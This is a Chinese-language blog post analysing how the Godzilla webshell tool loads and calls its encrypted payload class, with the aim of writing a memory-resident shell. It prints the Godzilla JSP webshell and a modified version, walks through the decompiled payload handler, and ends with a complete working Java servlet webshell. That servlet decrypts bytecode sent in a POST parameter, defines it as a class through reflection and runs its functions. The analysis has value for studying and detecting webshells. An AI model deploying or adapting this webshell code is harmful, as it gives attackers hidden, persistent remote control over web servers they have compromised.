哥斯拉yyds

前言

注入内存马借助当前的webshell工具而言,冰蝎可以通过创建hashmap放入request、response、session替换pagecontext来解决

1HttpSession session = lastRequest.getSession();
2pageContext.put("request", lastRequest);
3pageContext.put("response", lastResponse);
4pageContext.put("session", session);

能这么写的原因是因为冰蝎做了处理

1.png

会从传入的obj中分别取到request、response、session。

而哥斯拉没有这么做,如何破局?

哥斯拉连接分析

哥斯拉是基于动态加载class字节码实现的webshell工具。

先看一下jsp的shell

 1<%! String xc = "3c6e0b8a9c15224a";
 2    String pass = "pass";
 3    String md5 = md5(pass + xc);
 4
 5    class X extends ClassLoader {
 6        public X(ClassLoader z) {
 7            super(z);
 8        }
 9
10        public Class Q(byte[] cb) {
11            return super.defineClass(cb, 0, cb.length);
12        }
13    }
14....省略加密解密的函数....
15%>
16<%
17    try {
18        byte[] data = base64Decode(request.getParameter(pass));
19        data = x(data, false);
20        if (session.getAttribute("payload") == null) {
21            session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
22        } else {
23            request.setAttribute("parameters", data);
24            java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
25            Object f=((Class)session.getAttribute("payload")).newInstance();
26            f.equals(arrOut);
27            f.equals(pageContext);
28            response.getWriter().write(md5.substring(0, 16));
29            f.toString();
30            response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
31            response.getWriter().write(md5.substring(16));
32        }
33    } catch (Exception e) {
34    }
35%>

先判断session中payload是否为空,如果为空就用classloader加载解密之后的字节码data。

如果不为空将data赋值到session的parameters参数,然后从session中拿到定义的payload类,创建实例再进行了两次equals和一次tostring,两次equals分别传入ByteArrayOutputStream和pageContext。

通过bp代理看一下“测试连接”的过程

2.png

点完测试连接后bp多了两个请求

3.png

再点success的确定按钮后又多了一个请求。

一共三个请求,这三个请求分别干了什么?

为了调试,我们需要反编译哥斯拉源码找到godzilla\shells\payloads\java\assets\payload.classs文件,反编译回来后在idea项目中创建一个payload类,将源码粘贴进去。另外还需要关闭idea的自动tostring。

4.png

然后修改jsp让其加载我们自己的payload.class而非从session中加载

 1<%
 2    try {
 3        byte[] data = base64Decode(request.getParameter(pass));
 4        data = x(data, false);
 5        if (session.getAttribute("payload") == null) {
 6            session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
 7        } else {
 8            request.setAttribute("parameters", data);
 9            java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
10            Object f = ((Class) Class.forName("payload")).newInstance();
11            f.equals(arrOut);
12            f.equals(pageContext);
13            response.getWriter().write(md5.substring(0, 16));
14            f.toString();
15            response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
16            response.getWriter().write(md5.substring(16));
17        }
18    } catch (Exception e) {
19    }
20%>

payload类结构

payload类是哥斯拉的功能实现类,其中有多个函数比如文件操作、命令执行等功能实现

5.png

而入口在equals()函数

6.png

handle()是真正的逻辑,noLog是不记录tomcat连接日志的函数。进入handle看下

 1public boolean handle(Object obj) {
 2    if (obj == null) {
 3        return false;
 4    } else {
 5        Class streamClazz = ByteArrayOutputStreamClazz;
 6        if (streamClazz == null) {
 7            try {
 8                streamClazz = Class.forName("java.io.ByteArrayOutputStream");
 9            } catch (ClassNotFoundException var7) {
10                throw new NoClassDefFoundError(var7.getMessage());
11            }
12
13            ByteArrayOutputStreamClazz = streamClazz;
14        }
15
16        if (streamClazz.isAssignableFrom(obj.getClass())) {
17            this.outputStream = (ByteArrayOutputStream) obj;
18            return false;
19        } else {
20            if (this.supportClass(obj, "%s.servlet.http.HttpServletRequest")) {
21                this.servletRequest = obj;
22            } else if (this.supportClass(obj, "%s.servlet.ServletRequest")) {
23                this.servletRequest = obj;
24            } else {
25                streamClazz = byteArrayClazz;
26                if (streamClazz == null) {
27                    try {
28                        streamClazz = Class.forName("[B");
29                    } catch (ClassNotFoundException var6) {
30                        throw new NoClassDefFoundError(var6.getMessage());
31                    }
32
33                    byteArrayClazz = streamClazz;
34                }
35
36                if (streamClazz.isAssignableFrom(obj.getClass())) {
37                    this.requestData = (byte[]) obj;
38                } else if (this.supportClass(obj, "%s.servlet.http.HttpSession")) {
39                    this.httpSession = obj;
40                }
41            }
42
43            this.handlePayloadContext(obj);
44            if (this.servletRequest != null && this.requestData == null) {
45                Object var10001 = this.servletRequest;
46                Class[] var10003 = new Class[1];
47                Class var10006 = stringClazz;
48                if (var10006 == null) {
49                    try {
50                        var10006 = Class.forName("java.lang.String");
51                    } catch (ClassNotFoundException var5) {
52                        throw new NoClassDefFoundError(var5.getMessage());
53                    }
54
55                    stringClazz = var10006;
56                }
57
58                var10003[0] = var10006;
59                Object retVObject = this.getMethodAndInvoke(var10001, "getAttribute", var10003, new Object[]{"parameters"});
60                if (retVObject != null) {
61                    streamClazz = byteArrayClazz;
62                    if (streamClazz == null) {
63                        try {
64                            streamClazz = Class.forName("[B");
65                        } catch (ClassNotFoundException var4) {
66                            throw new NoClassDefFoundError(var4.getMessage());
67                        }
68
69                        byteArrayClazz = streamClazz;
70                    }
71
72                    if (streamClazz.isAssignableFrom(retVObject.getClass())) {
73                        this.requestData = (byte[]) retVObject;
74                    }
75                }
76            }
77            return true;
78        }
79    }
80}

分段来看,第一次equals的时候传入的是ByteArrayOutputStream实例

7.png

将其赋值给this.outputStream,this.outputStream是输出流,存储了response内容。

第二段equals的是pagecontext

8.png

先填充request,然后判断是否是session,如果是字节数组则说明是post参数 this.requestData = (byte[]) obj; 如果是HttpSession实例则放入this.httpSession

接着handlePayloadContext()填充request上下文和session

9.png

然后调用session.getAttribute("parameters")拿到requestData

10.png

第三段是toString

11.png

initSessionMap()初始化一个sessionMap放一些信息,然后formatParameter格式化参数map,然后this.run()

在formatParameter()函数中向参数map中放键值对

12.png

给他打印出来看一看,bp三个请求打印了两个键值对

13.png

第一个请求是加载class字节码的,然后第二个第三个请求时调用字节码功能,通过methodName来调用。接着run()完之后写输出。

那么请求流程就到这里,接下来看如何解决

解决pagecontext

上文讲到,requestData是post body,我们传入pagecontext的目的是为了通过session拿到parameters,那么如果我们抛弃session,直接把parameters通过equals函数传给payload类呢?

14.png

bp第一个请求是加载字节码,我们通过defClass加载进去,然后第二个请求分为四个阶段

  1. equals传入ByteArrayOutputStream实例填充outputStream
  2. equals传递解码之后的data填充requestData
  3. equals传递HttpServletRequest填充request
  4. toString写response输出结果

而在第二阶段正是因为在payload#handle()中这段代码的出现解决了pagecontext

15.png

完整代码

  1package com.example.demo3;
  2
  3import javax.servlet.ServletException;
  4import javax.servlet.annotation.WebServlet;
  5import javax.servlet.http.HttpServlet;
  6import javax.servlet.http.HttpServletRequest;
  7import javax.servlet.http.HttpServletResponse;
  8import java.io.IOException;
  9import java.lang.reflect.Method;
 10import java.net.URL;
 11import java.net.URLClassLoader;
 12
 13@WebServlet(name = "helloServlet", value = "/hello")
 14public class HelloServlet extends HttpServlet {
 15    String xc = "3c6e0b8a9c15224a";
 16    String pass = "pass";
 17    String md5 = md5(pass + xc);
 18    Class payload;
 19
 20    public static String md5(String s) {
 21        String ret = null;
 22        try {
 23            java.security.MessageDigest m;
 24            m = java.security.MessageDigest.getInstance("MD5");
 25            m.update(s.getBytes(), 0, s.length());
 26            ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
 27        } catch (Exception e) {
 28        }
 29        return ret;
 30    }
 31
 32    public static String base64Encode(byte[] bs) throws Exception {
 33        Class base64;
 34        String value = null;
 35        try {
 36            base64 = Class.forName("java.util.Base64");
 37            Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
 38            value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
 39        } catch (Exception e) {
 40            try {
 41                base64 = Class.forName("sun.misc.BASE64Encoder");
 42                Object Encoder = base64.newInstance();
 43                value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
 44            } catch (Exception e2) {
 45            }
 46        }
 47        return value;
 48    }
 49
 50    public static byte[] base64Decode(String bs) throws Exception {
 51        Class base64;
 52        byte[] value = null;
 53        try {
 54            base64 = Class.forName("java.util.Base64");
 55            Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
 56            value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
 57        } catch (Exception e) {
 58            try {
 59                base64 = Class.forName("sun.misc.BASE64Decoder");
 60                Object decoder = base64.newInstance();
 61                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
 62            } catch (Exception e2) {
 63            }
 64        }
 65        return value;
 66    }
 67
 68    public byte[] x(byte[] s, boolean m) {
 69        try {
 70            javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
 71            c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
 72            return c.doFinal(s);
 73        } catch (Exception e) {
 74            return null;
 75        }
 76    }
 77
 78    public Class defClass(byte[] classBytes) throws Throwable {
 79        URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
 80        Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
 81        defMethod.setAccessible(true);
 82        return (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
 83    }
 84
 85    @Override
 86    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
 87        try {
 88            byte[] data = base64Decode(req.getParameter(pass));
 89            data = x(data, false);
 90            if (payload == null) {
 91                payload = defClass(data);
 92            } else {
 93                java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
 94                Object f = payload.newInstance();
 95                f.equals(arrOut);
 96                f.equals(data);
 97                f.equals(req);
 98                resp.getWriter().write(md5.substring(0, 16));
 99                f.toString();
100                resp.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
101                resp.getWriter().write(md5.substring(16));
102            }
103        } catch (Throwable e) {
104        }
105    }
106}

文末

其实完整代码还是北辰发我的,我只是探究了一下其原因,这种pagecontext的问题还是得深入看工具的功能实现才能解决问题。

另外自己在写冰蝎内存马的时候遇到了包装类的问题,而哥斯拉不存在这个问题。因为哥斯拉是通过参数传递的payload,而冰蝎是直接把字节码放在了body中。

16.png

只能说哥斯拉yyds!

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。